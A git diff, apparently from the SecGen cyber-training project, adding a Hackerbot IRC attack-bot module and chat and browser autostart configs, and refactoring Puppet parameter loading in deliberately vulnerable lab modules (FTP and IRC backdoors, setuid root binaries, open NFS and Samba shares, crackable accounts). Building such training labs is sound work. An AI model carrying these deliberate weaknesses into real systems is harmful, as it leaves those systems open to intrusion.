b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tools/closure-compiler/amd-externs.js new file mode 100644 index 000000000..512d05aa7 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tools/closure-compiler/amd-externs.js @@ -0,0 +1,8 @@ +/** + * @param {string} id + * @param {Array.} dependencies + * @param {Function} factory + */ +function define(id, dependencies, factory) {} +/** @type {*} */ +define.amd; diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tools/closure-compiler/console-externs.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tools/closure-compiler/console-externs.js new file mode 100644 index 000000000..58f43aa04 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tools/closure-compiler/console-externs.js @@ -0,0 +1,5 @@ +var console = {}; +/** + * @param {string} message + */ +console.warn = function (message, var_args) {}; diff --git a/modules/utilities/unix/hackerbot/hackerbot.pp b/modules/utilities/unix/hackerbot/hackerbot.pp new file mode 100644 index 000000000..3aebed312 --- /dev/null +++ b/modules/utilities/unix/hackerbot/hackerbot.pp @@ -0,0 +1,3 @@ +include hackerbot::install +include hackerbot::config +include hackerbot::service diff --git a/modules/utilities/unix/hackerbot/manifests/config.pp b/modules/utilities/unix/hackerbot/manifests/config.pp new file mode 100644 index 000000000..5d595b6d3 --- /dev/null +++ b/modules/utilities/unix/hackerbot/manifests/config.pp @@ -0,0 +1,48 @@ +class hackerbot::config{ + require hackerbot::install + + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) + $port = $secgen_parameters['port'][0] + + $hackerbot_xml_configs = [] + $hackerbot_lab_sheets = [] + + $secgen_parameters['hackerbot_configs'].each |$counter, $config_pair| { + $parsed_pair = parsejson($config_pair) + + # TODO: testing colour printing + notice("\e[35mCreating bot config") + $xmlfilename = "bot_$counter.xml" + + file { "/opt/hackerbot/config/$xmlfilename": + ensure => present, + content => $parsed_pair['xml_config'], + mode => '0600', + owner => 'root', + group => 'root', + } + + if $secgen_parameters['hackerbot_configs'].length == 1 { + $htmlfilename = "index.html" + } else { + $htmlfilename = "lab_part_$counter.html" + } + + file { "/var/www/labs/$htmlfilename": + ensure => present, + content => $parsed_pair['html_lab_sheet'], + } + + } + + class { '::apache': + default_vhost => false, + # overwrite_ports => false, + } + apache::vhost { 'vhost.labs.com': + port => "$port", + docroot => '/var/www/labs', + } + + +} diff --git a/modules/utilities/unix/hackerbot/manifests/install.pp b/modules/utilities/unix/hackerbot/manifests/install.pp new file mode 100644 index 000000000..b386f8b21 --- /dev/null +++ b/modules/utilities/unix/hackerbot/manifests/install.pp @@ -0,0 +1,37 @@ +class hackerbot::install{ + # $json_inputs = base64('decode', $::base64_inputs) + # $secgen_parameters = parsejson($json_inputs) + # $server_ip = $secgen_parameters['server_ip'][0] + # $port = $secgen_parameters['port'][0] + + # $hackerbot_xml_configs = [] + # $hackerbot_lab_sheets = [] + + file { '/opt/hackerbot': + ensure => directory, + recurse => true, + source => 'puppet:///modules/hackerbot/opt_hackerbot', + mode => '0700', + owner => 'root', + group => 'root', + } + + file { '/var/www/labs': + ensure => directory, + recurse => true, + source => 'puppet:///modules/hackerbot/www', + mode => '0666', + owner => 'root', + group => 'root', + } + + package { ['nori', 'cinch', 'programr']: + ensure => 'installed', + provider => 'gem', + } + + package { ['sshpass']: + ensure => 'installed', + } + +} diff --git a/modules/utilities/unix/hackerbot/manifests/service.pp b/modules/utilities/unix/hackerbot/manifests/service.pp new file mode 100644 index 000000000..099097b85 --- /dev/null +++ b/modules/utilities/unix/hackerbot/manifests/service.pp @@ -0,0 +1,23 @@ +class hackerbot::service{ + require hackerbot::config + + file { '/etc/systemd/system/hackerbot.service': + ensure => 'link', + target => '/opt/hackerbot/hackerbot.service', + }-> + service { 'NetworkManager': + ensure => stopped, + enable => false, + }-> + service { 'hackerbot': + ensure => running, + enable => true, + }~> + # reload services (networking needs to be reloaded on the kali virtualbox vm) + exec { 'hackerbot-systemd-reload': + command => 'systemctl daemon-reload; service networking restart; service hackerbot restart', + path => [ '/usr/bin', '/bin', '/usr/sbin' ], + refreshonly => true, + } + +} diff --git a/modules/utilities/unix/hackerbot/secgen_metadata.xml b/modules/utilities/unix/hackerbot/secgen_metadata.xml new file mode 100644 index 000000000..eeca75d2a --- /dev/null +++ b/modules/utilities/unix/hackerbot/secgen_metadata.xml @@ -0,0 +1,41 @@ + + + + Hackerbot + Z. Cliffe Schreuders + GPLv3 + Chatbot(s) that attacks and challenges the victim to defend themselves for flags. + Connects to an IRC server (localhost by default), and reads config files for attack and chat behaviour. + Developed as part of the SecGen project. + + chatbot + linux + + GPLv3 + + server_ip + hackerbot_configs + + port + + + 80 + + + + localhost + + + + localhost + + + + update + + + httpd + + diff --git a/modules/utilities/unix/irc_clients/pidgin/files/pidgin.desktop b/modules/utilities/unix/irc_clients/pidgin/files/pidgin.desktop new file mode 100644 index 000000000..6c4c324ec --- /dev/null +++ b/modules/utilities/unix/irc_clients/pidgin/files/pidgin.desktop @@ -0,0 +1,8 @@ +[Desktop Entry] +Name=Pidgin +GenericName=Pidign chat client autostart +Comment=Autostart script +Exec=/usr/bin/pidgin +Terminal=false +Type=Application +X-GNOME-Autostart-enabled=true \ No newline at end of file diff --git a/modules/utilities/unix/irc_clients/pidgin/files/prefs.xml b/modules/utilities/unix/irc_clients/pidgin/files/prefs.xml new file mode 100644 index 000000000..514619bb7 --- /dev/null +++ b/modules/utilities/unix/irc_clients/pidgin/files/prefs.xml @@ -0,0 +1,429 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/irc_clients/pidgin/files/skullandusb.svg b/modules/utilities/unix/irc_clients/pidgin/files/skullandusb.svg new file mode 100644 index 000000000..3d146e952 --- /dev/null +++ b/modules/utilities/unix/irc_clients/pidgin/files/skullandusb.svg @@ -0,0 +1,442 @@ + + + + hyf_logo_v2 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + image/svg+xml + + + + + Openclipart + + + logo_skull_HYF + 2012-08-20T18:47:47 + Logo du projet H@ckYourFest. Crane et cable USB. + https://openclipart.org/detail/171835/logo_skull_hyf-by-regisburin-171835 + + + regisburin + + + + + crane + hacking + pirate + plug + prise + skull + usb + + + + + + + + + + + diff --git a/modules/utilities/unix/irc_clients/pidgin/files/status.xml b/modules/utilities/unix/irc_clients/pidgin/files/status.xml new file mode 100644 index 000000000..5fd76ecda --- /dev/null +++ b/modules/utilities/unix/irc_clients/pidgin/files/status.xml @@ -0,0 +1,7 @@ + + + + + available + + diff --git a/modules/utilities/unix/irc_clients/pidgin/manifests/config.pp b/modules/utilities/unix/irc_clients/pidgin/manifests/config.pp new file mode 100644 index 000000000..d0446a24f --- /dev/null +++ b/modules/utilities/unix/irc_clients/pidgin/manifests/config.pp @@ -0,0 +1,72 @@ +class pidgin::config { + $secgen_params = secgen_functions::get_parameters($::base64_inputs_file) + $accounts = $secgen_params['accounts'] + $autostart = str2bool($secgen_params['autostart'][0]) + $ip = $secgen_params['server_ip'][0] + + # Setup Pidgin for each user account + $accounts.each |$raw_account| { + $account = parsejson($raw_account) + $username = $account['username'] + $conf_dir = "/home/$username/.purple" + + file { ["$conf_dir", + "$conf_dir/smileys/", + "$conf_dir/icons/", + "$conf_dir/certificates", + "$conf_dir/certificates/x509", + "$conf_dir/certificates/x509/tls_peers"]: + ensure => directory, + require => Package['pidgin'], + owner => $username, + group => $username, + } + + file { "$conf_dir/accounts.xml": + ensure => file, + content => template('pidgin/accounts.xml.erb'), + require => File[$conf_dir], + } + file { "$conf_dir/blist.xml": + ensure => file, + content => template('pidgin/blist.xml.erb'), + require => File[$conf_dir], + } + file { "$conf_dir/pounces.xml": + ensure => file, + content => template('pidgin/pounces.xml.erb'), + require => File[$conf_dir], + } + file { "$conf_dir/prefs.xml": + ensure => file, + source => 'puppet:///modules/pidgin/prefs.xml', + require => File[$conf_dir], + } + file { "$conf_dir/status.xml": + ensure => file, + source => 'puppet:///modules/pidgin/status.xml', + require => File[$conf_dir], + } + file { "$conf_dir/icons/skullandusb.svg": + ensure => file, + source => 'puppet:///modules/pidgin/skullandusb.svg', + require => File[$conf_dir], + } + + # autostart script + if $autostart { + file { ["/home/$username/.config/", "/home/$username/.config/autostart/"]: + ensure => directory, + owner => $username, + group => $username, + } + + file { "/home/$username/.config/autostart/pidgin.desktop": + ensure => file, + source => 'puppet:///modules/pidgin/pidgin.desktop', + owner => $username, + group => $username, + } + } + } +} diff --git a/modules/utilities/unix/irc_clients/pidgin/manifests/install.pp b/modules/utilities/unix/irc_clients/pidgin/manifests/install.pp new file mode 100644 index 000000000..92c5e2d5a --- /dev/null +++ b/modules/utilities/unix/irc_clients/pidgin/manifests/install.pp @@ -0,0 +1,5 @@ +class pidgin::install { + package { 'pidgin': + ensure => installed, + } +} \ No newline at end of file diff --git a/modules/utilities/unix/irc_clients/pidgin/pidgin.pp b/modules/utilities/unix/irc_clients/pidgin/pidgin.pp new file mode 100644 index 000000000..84601bd64 --- /dev/null +++ b/modules/utilities/unix/irc_clients/pidgin/pidgin.pp @@ -0,0 +1,2 @@ +include pidgin::install +include pidgin::config \ No newline at end of file diff --git a/modules/utilities/unix/irc_clients/pidgin/secgen_metadata.xml b/modules/utilities/unix/irc_clients/pidgin/secgen_metadata.xml new file mode 100644 index 000000000..be764dd4f --- /dev/null +++ b/modules/utilities/unix/irc_clients/pidgin/secgen_metadata.xml @@ -0,0 +1,34 @@ + + + + Pidgin + Thomas Shaw + MIT + Pidgin chat client + + chat_client + linux + + server_ip + accounts + autostart + + + 127.0.0.1 + + + + + + + + true + + + + update + + + \ No newline at end of file diff --git a/modules/utilities/unix/irc_clients/pidgin/templates/accounts.xml.erb b/modules/utilities/unix/irc_clients/pidgin/templates/accounts.xml.erb new file mode 100644 index 000000000..57e694f30 --- /dev/null +++ b/modules/utilities/unix/irc_clients/pidgin/templates/accounts.xml.erb @@ -0,0 +1,33 @@ + + + + + prpl-irc + <%=@username-%>@<%=@ip%> + + + + + + + + + + + + + UTF-8 + 0 + 0 + 0 + 0 + 6667 + + + + + 1 + + + + diff --git a/modules/utilities/unix/irc_clients/pidgin/templates/blist.xml.erb b/modules/utilities/unix/irc_clients/pidgin/templates/blist.xml.erb new file mode 100644 index 000000000..37ba45077 --- /dev/null +++ b/modules/utilities/unix/irc_clients/pidgin/templates/blist.xml.erb @@ -0,0 +1,20 @@ + + + + + + 0 + + + Hackerbot + + skullandusb.svg + + + + + + irc.localhost + + + diff --git a/modules/utilities/unix/irc_clients/pidgin/templates/pounces.xml.erb b/modules/utilities/unix/irc_clients/pidgin/templates/pounces.xml.erb new file mode 100644 index 000000000..e1df7e4f7 --- /dev/null +++ b/modules/utilities/unix/irc_clients/pidgin/templates/pounces.xml.erb @@ -0,0 +1,19 @@ + + + + + <%=@username-%>@<%=@ip%> + Hackerbot + + + + + + + hello + + + + + + diff --git a/modules/utilities/unix/irc_clients/weechat/manifests/install.pp b/modules/utilities/unix/irc_clients/weechat/manifests/install.pp new file mode 100644 index 000000000..3c6765045 --- /dev/null +++ b/modules/utilities/unix/irc_clients/weechat/manifests/install.pp @@ -0,0 +1,5 @@ +class weechat::install{ + package { 'weechat': + ensure => 'installed', + } +} diff --git a/modules/utilities/unix/irc_clients/weechat/secgen_metadata.xml b/modules/utilities/unix/irc_clients/weechat/secgen_metadata.xml new file mode 100644 index 000000000..136f007dc --- /dev/null +++ b/modules/utilities/unix/irc_clients/weechat/secgen_metadata.xml @@ -0,0 +1,20 @@ + + + + WeeChat IRC Client (Console) + Z. Cliffe Schreuders + MIT + Installs WeeChat, a nice looking console IRC client + + irc_client + linux + + weechat + GPL + + + update + + diff --git a/modules/utilities/unix/irc_clients/weechat/weechat.pp b/modules/utilities/unix/irc_clients/weechat/weechat.pp new file mode 100644 index 000000000..f2e70ad98 --- /dev/null +++ b/modules/utilities/unix/irc_clients/weechat/weechat.pp @@ -0,0 +1 @@ +include weechat::install diff --git a/modules/utilities/unix/system/mail/manifests/init.pp b/modules/utilities/unix/system/mail/manifests/init.pp index dff71035e..9ecc92349 100644 --- a/modules/utilities/unix/system/mail/manifests/init.pp +++ b/modules/utilities/unix/system/mail/manifests/init.pp @@ -1,6 +1,5 @@ class mail::init { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $mail = $secgen_parameters['mail'] diff --git a/modules/utilities/unix/system/parameterised_accounts/manifests/init.pp b/modules/utilities/unix/system/parameterised_accounts/manifests/init.pp index 6e8fb6b38..673a3e4c7 100644 --- a/modules/utilities/unix/system/parameterised_accounts/manifests/init.pp +++ b/modules/utilities/unix/system/parameterised_accounts/manifests/init.pp @@ -1,6 +1,5 @@ class parameterised_accounts::init { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $accounts = $secgen_parameters['accounts'] $accounts.each |$raw_account| { diff --git a/modules/utilities/unix/web_browsers/iceweasel/files/iceweasel.desktop b/modules/utilities/unix/web_browsers/iceweasel/files/iceweasel.desktop new file mode 100644 index 000000000..8aebcf878 --- /dev/null +++ b/modules/utilities/unix/web_browsers/iceweasel/files/iceweasel.desktop @@ -0,0 +1,8 @@ +[Desktop Entry] +Name=Iceweasel +GenericName=Iceweasel web browser +Comment=Autostart script +Exec=/usr/bin/firefox +Terminal=false +Type=Application +X-GNOME-Autostart-enabled=true \ No newline at end of file diff --git a/modules/utilities/unix/web_browsers/iceweasel/files/profiles.ini b/modules/utilities/unix/web_browsers/iceweasel/files/profiles.ini new file mode 100644 index 000000000..d4cb5d0e7 --- /dev/null +++ b/modules/utilities/unix/web_browsers/iceweasel/files/profiles.ini @@ -0,0 +1,9 @@ +[General] +StartWithLastProfile=1 + +[Profile0] +Name=default +IsRelative=1 +Path=user.default +Default=1 + diff --git a/modules/utilities/unix/web_browsers/iceweasel/iceweasel.pp b/modules/utilities/unix/web_browsers/iceweasel/iceweasel.pp index 9034158a2..cf87fa50d 100644 --- a/modules/utilities/unix/web_browsers/iceweasel/iceweasel.pp +++ b/modules/utilities/unix/web_browsers/iceweasel/iceweasel.pp @@ -1 +1,2 @@ include iceweasel::install +include iceweasel::config diff --git a/modules/utilities/unix/web_browsers/iceweasel/manifests/config.pp b/modules/utilities/unix/web_browsers/iceweasel/manifests/config.pp new file mode 100644 index 000000000..9f06c4600 --- /dev/null +++ b/modules/utilities/unix/web_browsers/iceweasel/manifests/config.pp @@ -0,0 +1,51 @@ +class iceweasel::config { + $secgen_params = secgen_functions::get_parameters($::base64_inputs_file) + $accounts = $secgen_params['accounts'] + $autostart = str2bool($secgen_params['autostart'][0]) + $start_page = $secgen_params['start_page'][0] + + # Setup IW for each user account + $accounts.each |$raw_account| { + $account = parsejson($raw_account) + $username = $account['username'] + + # add user profile + file { ["/home/$username/.mozilla/", + "/home/$username/.mozilla/firefox", + "/home/$username/.mozilla/firefox/user.default"]: + ensure => directory, + owner => $username, + group => $username, + }-> + file { "/home/$username/.mozilla/firefox/profiles.ini": + ensure => file, + source => 'puppet:///modules/iceweasel/profiles.ini', + owner => $username, + group => $username, + }-> + + # set start page via template: + file { "/home/$username/.mozilla/firefox/user.default/user.js": + ensure => file, + content => template('iceweasel/user.js.erb'), + owner => $username, + group => $username, + } + + # autostart script + if $autostart { + file { ["/home/$username/.config/", "/home/$username/.config/autostart/"]: + ensure => directory, + owner => $username, + group => $username, + } + + file { "/home/$username/.config/autostart/iceweasel.desktop": + ensure => file, + source => 'puppet:///modules/iceweasel/iceweasel.desktop', + owner => $username, + group => $username, + } + } + } +} diff --git a/modules/utilities/unix/web_browsers/iceweasel/secgen_metadata.xml b/modules/utilities/unix/web_browsers/iceweasel/secgen_metadata.xml index 6c4eca03c..119c7da91 100644 --- a/modules/utilities/unix/web_browsers/iceweasel/secgen_metadata.xml +++ b/modules/utilities/unix/web_browsers/iceweasel/secgen_metadata.xml @@ -14,6 +14,22 @@ Iceweasel Web Browser GPL + accounts + autostart + start_page + + + + + + + true + + + + leedsbeckett.ac.uk/csi + + update diff --git a/modules/utilities/unix/web_browsers/iceweasel/templates/user.js.erb b/modules/utilities/unix/web_browsers/iceweasel/templates/user.js.erb new file mode 100644 index 000000000..f8e604a2e --- /dev/null +++ b/modules/utilities/unix/web_browsers/iceweasel/templates/user.js.erb @@ -0,0 +1,3 @@ +user_pref("browser.startup.homepage", "<%=@start_page-%>"); +user_pref("browser.startup.homepage_override.buildID", "20170816210634"); +user_pref("browser.startup.homepage_override.mstone", "55.0.2"); \ No newline at end of file diff --git a/modules/vulnerabilities/unix/ctf/defcon_quals_2016/dc16_amadhj/manifests/install.pp b/modules/vulnerabilities/unix/ctf/defcon_quals_2016/dc16_amadhj/manifests/install.pp index 5b448d419..cdc17abdb 100644 --- a/modules/vulnerabilities/unix/ctf/defcon_quals_2016/dc16_amadhj/manifests/install.pp +++ b/modules/vulnerabilities/unix/ctf/defcon_quals_2016/dc16_amadhj/manifests/install.pp @@ -1,6 +1,5 @@ class dc16_amadhj::install { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_params = parsejson($json_inputs) + $secgen_params = secgen_functions::get_parameters($::base64_inputs_file) $account = parsejson($secgen_params['account'][0]) ::secgen_functions::install_setuid_root_binary { 'defcon16_amadhj': diff --git a/modules/vulnerabilities/unix/ctf/defcon_quals_2016/dc16_b3s23/manifests/install.pp b/modules/vulnerabilities/unix/ctf/defcon_quals_2016/dc16_b3s23/manifests/install.pp index 5c303811e..048919db7 100644 --- a/modules/vulnerabilities/unix/ctf/defcon_quals_2016/dc16_b3s23/manifests/install.pp +++ b/modules/vulnerabilities/unix/ctf/defcon_quals_2016/dc16_b3s23/manifests/install.pp @@ -1,6 +1,5 @@ class dc16_b3s23::install { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_params = parsejson($json_inputs) + $secgen_params = secgen_functions::get_parameters($::base64_inputs_file) $account = parsejson($secgen_params['account'][0]) ::secgen_functions::install_setuid_root_binary { 'defcon16_amadhj': diff --git a/modules/vulnerabilities/unix/ctf/defcon_quals_2016/dc16_feedme/manifests/install.pp b/modules/vulnerabilities/unix/ctf/defcon_quals_2016/dc16_feedme/manifests/install.pp index 1f019540b..349a87706 100644 --- a/modules/vulnerabilities/unix/ctf/defcon_quals_2016/dc16_feedme/manifests/install.pp +++ b/modules/vulnerabilities/unix/ctf/defcon_quals_2016/dc16_feedme/manifests/install.pp @@ -1,6 +1,5 @@ class dc16_feedme::install { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_params = parsejson($json_inputs) + $secgen_params = secgen_functions::get_parameters($::base64_inputs_file) $account = parsejson($secgen_params['account'][0]) ::secgen_functions::install_setuid_root_binary { 'defcon16_amadhj': diff --git a/modules/vulnerabilities/unix/ctf/hidden_file/manifests/install.pp b/modules/vulnerabilities/unix/ctf/hidden_file/manifests/install.pp index 9ca70cb3c..f6939b0a8 100644 --- a/modules/vulnerabilities/unix/ctf/hidden_file/manifests/install.pp +++ b/modules/vulnerabilities/unix/ctf/hidden_file/manifests/install.pp @@ -1,6 +1,5 @@ class hidden_file::install { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_params = parsejson($json_inputs) + $secgen_params = secgen_functions::get_parameters($::base64_inputs_file) $challenge_name = $secgen_params['challenge_name'][0] $account = parsejson($secgen_params['account'][0]) $leaked_filename = $secgen_params['leaked_filenames'][0] diff --git a/modules/vulnerabilities/unix/ctf/java/java_decompile/manifests/install.pp b/modules/vulnerabilities/unix/ctf/java/java_decompile/manifests/install.pp index 3c6ada1f5..d33eae229 100644 --- a/modules/vulnerabilities/unix/ctf/java/java_decompile/manifests/install.pp +++ b/modules/vulnerabilities/unix/ctf/java/java_decompile/manifests/install.pp @@ -1,6 +1,5 @@ class java_decompile::install { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_params = parsejson($json_inputs) + $secgen_params = secgen_functions::get_parameters($::base64_inputs_file) $account = parsejson($secgen_params['account'][0]) $challenge_name = $secgen_params['challenge_name'][0] $username = $account['username'] diff --git a/modules/vulnerabilities/unix/ftp/proftpd_133c_backdoor/manifests/config.pp b/modules/vulnerabilities/unix/ftp/proftpd_133c_backdoor/manifests/config.pp index bc1ba27cc..6a80956c7 100644 --- a/modules/vulnerabilities/unix/ftp/proftpd_133c_backdoor/manifests/config.pp +++ b/modules/vulnerabilities/unix/ftp/proftpd_133c_backdoor/manifests/config.pp @@ -1,6 +1,5 @@ class proftpd_133c_backdoor::config { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $raw_org = $secgen_parameters['organisation'] if $raw_org and $raw_org[0] and $raw_org[0] != '' { $organisation = parsejson($raw_org[0]) diff --git a/modules/vulnerabilities/unix/ftp/vsftpd_234_backdoor/manifests/config.pp b/modules/vulnerabilities/unix/ftp/vsftpd_234_backdoor/manifests/config.pp index 44d8b8e62..b70636f2a 100644 --- a/modules/vulnerabilities/unix/ftp/vsftpd_234_backdoor/manifests/config.pp +++ b/modules/vulnerabilities/unix/ftp/vsftpd_234_backdoor/manifests/config.pp @@ -1,7 +1,6 @@ class vsftpd_234_backdoor::config { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $raw_org = $secgen_parameters['organisation'] if $raw_org and $raw_org[0] and $raw_org[0] != '' { $organisation = parsejson($raw_org[0]) diff --git a/modules/vulnerabilities/unix/irc/unrealirc_3281_backdoor/manifests/configure.pp b/modules/vulnerabilities/unix/irc/unrealirc_3281_backdoor/manifests/configure.pp index c8839507a..fb10b2c74 100644 --- a/modules/vulnerabilities/unix/irc/unrealirc_3281_backdoor/manifests/configure.pp +++ b/modules/vulnerabilities/unix/irc/unrealirc_3281_backdoor/manifests/configure.pp @@ -1,6 +1,5 @@ class unrealirc_3281_backdoor::configure { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $port = $secgen_parameters['port'][0] $strings_to_leak = $secgen_parameters['strings_to_leak'] $leaked_filenames = $secgen_parameters['leaked_filenames'] diff --git a/modules/vulnerabilities/unix/local/chkrootkit/manifests/configure.pp b/modules/vulnerabilities/unix/local/chkrootkit/manifests/configure.pp index ff049d5ec..1426e71cd 100644 --- a/modules/vulnerabilities/unix/local/chkrootkit/manifests/configure.pp +++ b/modules/vulnerabilities/unix/local/chkrootkit/manifests/configure.pp @@ -1,7 +1,6 @@ class chkrootkit::configure { # Add cron job for chkrootkit, run it every minute so it's exploitable without a wait - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $cron_frequency = $secgen_parameters['cron_frequency'][0] case $cron_frequency { diff --git a/modules/vulnerabilities/unix/local/chkrootkit/manifests/install.pp b/modules/vulnerabilities/unix/local/chkrootkit/manifests/install.pp index 5af58c77c..c65e9b91c 100644 --- a/modules/vulnerabilities/unix/local/chkrootkit/manifests/install.pp +++ b/modules/vulnerabilities/unix/local/chkrootkit/manifests/install.pp @@ -1,7 +1,6 @@ class chkrootkit::install { Exec { path => ['/bin', '/usr/bin', '/usr/local/bin', '/sbin', '/usr/sbin'] } - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $leaked_filenames = $secgen_parameters['leaked_filenames'] $strings_to_leak = $secgen_parameters['strings_to_leak'] $archive = 'chkrootkit-0.49.tar.gz' diff --git a/modules/vulnerabilities/unix/local/setuid_nmap/manifests/init.pp b/modules/vulnerabilities/unix/local/setuid_nmap/manifests/init.pp index c71b1ba16..54f0aca52 100644 --- a/modules/vulnerabilities/unix/local/setuid_nmap/manifests/init.pp +++ b/modules/vulnerabilities/unix/local/setuid_nmap/manifests/init.pp @@ -1,6 +1,5 @@ class setuid_nmap::init { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $leaked_filenames = $secgen_parameters['leaked_filenames'] $strings_to_leak = $secgen_parameters['strings_to_leak'] diff --git a/modules/vulnerabilities/unix/misc/distcc_exec/manifests/config.pp b/modules/vulnerabilities/unix/misc/distcc_exec/manifests/config.pp index b2512490f..c4af56df6 100644 --- a/modules/vulnerabilities/unix/misc/distcc_exec/manifests/config.pp +++ b/modules/vulnerabilities/unix/misc/distcc_exec/manifests/config.pp @@ -1,6 +1,5 @@ class distcc_exec::config{ - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $leaked_filenames = $secgen_parameters['leaked_filenames'] $strings_to_leak = $secgen_parameters['strings_to_leak'] diff --git a/modules/vulnerabilities/unix/nfs/nfs_overshare/manifests/config.pp b/modules/vulnerabilities/unix/nfs/nfs_overshare/manifests/config.pp index 925c9fe99..903ab7442 100644 --- a/modules/vulnerabilities/unix/nfs/nfs_overshare/manifests/config.pp +++ b/modules/vulnerabilities/unix/nfs/nfs_overshare/manifests/config.pp @@ -1,8 +1,7 @@ class nfs_overshare::config { # Setup SecGen Parameters - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters=parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $leaked_filenames=$secgen_parameters['leaked_filenames'] $strings_to_leak=$secgen_parameters['strings_to_leak'] $images_to_leak=$secgen_parameters['images_to_leak'] diff --git a/modules/vulnerabilities/unix/nfs/nfs_rootshare/manifests/config.pp b/modules/vulnerabilities/unix/nfs/nfs_rootshare/manifests/config.pp index ed8963259..f535848f5 100644 --- a/modules/vulnerabilities/unix/nfs/nfs_rootshare/manifests/config.pp +++ b/modules/vulnerabilities/unix/nfs/nfs_rootshare/manifests/config.pp @@ -1,9 +1,7 @@ class nfs_rootshare::config { # Setup SecGen Parameters - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters=parsejson($json_inputs) - $leaked_filenames=$secgen_parameters['leaked_filenames'] + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file)$leaked_filenames=$secgen_parameters['leaked_filenames'] $strings_to_leak=$secgen_parameters['strings_to_leak'] $images_to_leak=$secgen_parameters['images_to_leak'] diff --git a/modules/vulnerabilities/unix/smb/samba_public_writable_share/manifests/install.pp b/modules/vulnerabilities/unix/smb/samba_public_writable_share/manifests/install.pp index d1d624aa0..1578f88f1 100644 --- a/modules/vulnerabilities/unix/smb/samba_public_writable_share/manifests/install.pp +++ b/modules/vulnerabilities/unix/smb/samba_public_writable_share/manifests/install.pp @@ -1,8 +1,7 @@ class samba_public_writable_share::install { include samba - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $storage_directory = $secgen_parameters['storage_directory'][0] $leaked_filenames = $secgen_parameters['leaked_filenames'] $strings_to_leak = $secgen_parameters['strings_to_leak'] diff --git a/modules/vulnerabilities/unix/smb/samba_symlink_traversal/manifests/install.pp b/modules/vulnerabilities/unix/smb/samba_symlink_traversal/manifests/install.pp index 9e344f167..5e09ae46d 100644 --- a/modules/vulnerabilities/unix/smb/samba_symlink_traversal/manifests/install.pp +++ b/modules/vulnerabilities/unix/smb/samba_symlink_traversal/manifests/install.pp @@ -1,8 +1,7 @@ class samba_symlink_traversal::install { include samba - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $storage_directory = $secgen_parameters['storage_directory'][0] $leaked_filenames = $secgen_parameters['leaked_filenames'] $strings_to_leak = $secgen_parameters['strings_to_leak'] diff --git a/modules/vulnerabilities/unix/system/crackable_user_account/manifests/init.pp b/modules/vulnerabilities/unix/system/crackable_user_account/manifests/init.pp index 6599ad72b..38441a1bf 100644 --- a/modules/vulnerabilities/unix/system/crackable_user_account/manifests/init.pp +++ b/modules/vulnerabilities/unix/system/crackable_user_account/manifests/init.pp @@ -1,6 +1,5 @@ class crackable_user_account::init { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $account = parsejson($secgen_parameters['accounts'][0]) $username = $account['username'] diff --git a/modules/vulnerabilities/unix/system/passwordless_user_account/manifests/init.pp b/modules/vulnerabilities/unix/system/passwordless_user_account/manifests/init.pp index 8221efe93..93b71fbfc 100644 --- a/modules/vulnerabilities/unix/system/passwordless_user_account/manifests/init.pp +++ 